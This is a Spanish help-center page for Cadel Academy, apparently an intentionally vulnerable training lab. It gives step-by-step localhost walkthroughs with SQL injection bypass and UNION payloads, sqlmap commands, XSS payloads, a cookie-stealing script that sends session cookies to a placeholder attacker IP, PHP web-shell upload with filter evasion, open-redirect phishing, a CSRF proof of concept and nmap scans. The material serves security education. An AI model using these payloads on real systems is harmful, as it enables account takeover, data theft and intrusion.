Centro de Ayuda
Encuentra respuestas a las preguntas frecuentes y guías sobre cómo utilizar Cadel Academy.
admin' OR '1'='1' -- - debe inyectarse en el campo de usuario. Es crucial incluir los comentarios finales (-- -) para anular la validación de la contraseña en la consulta SQL subyacente.localhost. Si estás en Linux, asegúrate de que el firewall no bloquee los puertos 8080 y 8443.docker-compose down -v seguido de docker-compose up --build. Esto regenerará la base de datos con los datos semilla predeterminados.192.168.x.x) en lugar de localhost.HttpOnly permite que el motor JavaScript del navegador acceda al objeto document.cookie. Un atacante puede inyectar código JS (XSS) que lea este valor y lo exfiltre a un servidor bajo su control, permitiendo la suplantación de identidad (Session Hijacking).msfvenom e intentar subirlo para obtener una sesión Meterpreter.Fase 1: Identificación
La inyección de caracteres especiales como la comilla simple (') en el campo de usuario provoca errores de sintaxis SQL, revelando la vulnerabilidad.
Fase 2: Automatización (SQLMap)
Comando para enumeración de bases de datos:
sqlmap -u "http://localhost:8080/login" --data "username=admin&password=123" --dbs --batch
Fase 3: Explotación Manual (Auth Bypass)
Payload para autenticación administrativa:
admin' OR '1'='1' -- -
Fase 1: Enumeración Booleana
Listar todos los registros anulando el filtro WHERE:
a' OR '1'='1
Fase 2: Exfiltración vía UNION
Extracción de metadatos del servidor (versión de MySQL):
' UNION SELECT 1, @@version -- -
Fase 3: Automatización Autenticada
Como requiere login, debes pasar la cookie de sesión a SQLMap:
sqlmap -u "http://localhost:8080/chat?q=test" --cookie="session=TU_COOKIE_AQUI" --dbs
Fase 1: Prueba de Concepto (PoC)
Verificación de interpretación HTML básica: <h1>TEST</h1>. Si se renderiza como título, proceda a inyección JS.
Fase 2: Fuzzing con Burp Intruder
Utilice listas de payloads (ej. Polyglots) en el parámetro q para identificar filtros o WAFs (Web Application Firewalls).
Fase 3: Payload Avanzado
Payload capaz de evadir filtros básicos y ejecutarse en múltiples contextos:
"><svg/onload=alert(1)>
Fase 1: Identificación de Vectores
Puntos de inyección persistente: Títulos de Foro, Mensajería Privada y Biografía de Usuario. Payload de prueba: <script>alert(1)</script>.
Fase 2: Exfiltración de Sesión (Cookie Stealing)
Script para enviar la cookie de la víctima a un servidor atacante (requiere listener, ej. nc -lvp 9000):
<script>fetch('http://TU_IP:9000/?cookie=' + document.cookie)</script>
Fase 3: Defacement Persistente
Alteración visual permanente del sitio mediante inyección de estilos CSS: <style>body {background: black !important; filter: invert(1);}</style>.
Fase 1: XSS vía Archivo
Subida de archivo payload.html conteniendo JavaScript. Al ser servido por el mismo origen, el script se ejecuta con confianza total.
Fase 2: Evasión de Filtros
Técnicas comunes: Doble extensión (shell.php.jpg), inyección de Null Byte (shell.php%00.jpg) o manipulación del Content-Type.
Fase 3: Automatización vía CURL
Puedes automatizar la subida sin usar el navegador:
curl -X POST -F "file=@shell.php" -F "title=Hacked" http://localhost:8080/forum -b "session=TU_COOKIE"
Fase 1: Auditoría de Atributos
Inspección mediante DevTools (F12 -> Application -> Cookies). Verificar ausencia de flags HttpOnly (acceso JS) y Secure (transmisión HTTP).
Fase 2: Prueba de Concepto (Session Hijacking)
Copiar el valor de session_id. Inyectarlo manualmente en un navegador diferente o sesión de incógnito. Verificar si se obtiene acceso a la cuenta original.
Fase 3: Escaneo Pasivo
Utilizar el escáner pasivo de OWASP ZAP para detectar automáticamente configuraciones de cookies inseguras en todo el sitio.
Fase 1: Descubrimiento de Parámetros
Identificar parámetros en la URL que acepten destinos, como next, url, o target. En este lab: /redirect?target=....
Fase 2: Evasión de Filtros
Si hay filtros, probar esquemas alternativos (//google.com), codificación URL, o caracteres de escape.
Fase 3: Phishing
Construir un enlace que parezca legítimo (dominio de la academia) pero redirija a un sitio malicioso para robar credenciales.
Fase 1: Inspección de Tokens
Revisar el código fuente de los formularios (ej. Cambio de Contraseña). Verificar si existe un campo oculto csrf_token o similar.
Fase 2: Generación de PoC
Crear una página HTML maliciosa que envíe automáticamente una petición POST al endpoint vulnerable (ej. /profile) al ser visitada por la víctima.
Fase 3: Ejecución
Si la aplicación acepta la petición basándose solo en las cookies de sesión (sin validar origen o token), el ataque es exitoso.
Fase 1: Descubrimiento de Servicios
nmap -p- localhost
Fase 2: Enumeración HTTP (NSE Scripts)
Uso de scripts NSE para descubrir rutas ocultas y analizar robots.txt:
nmap -p 8080 --script http-enum localhost
Fase 3: Fingerprinting
nmap -sV --script banner -p 8080 localhost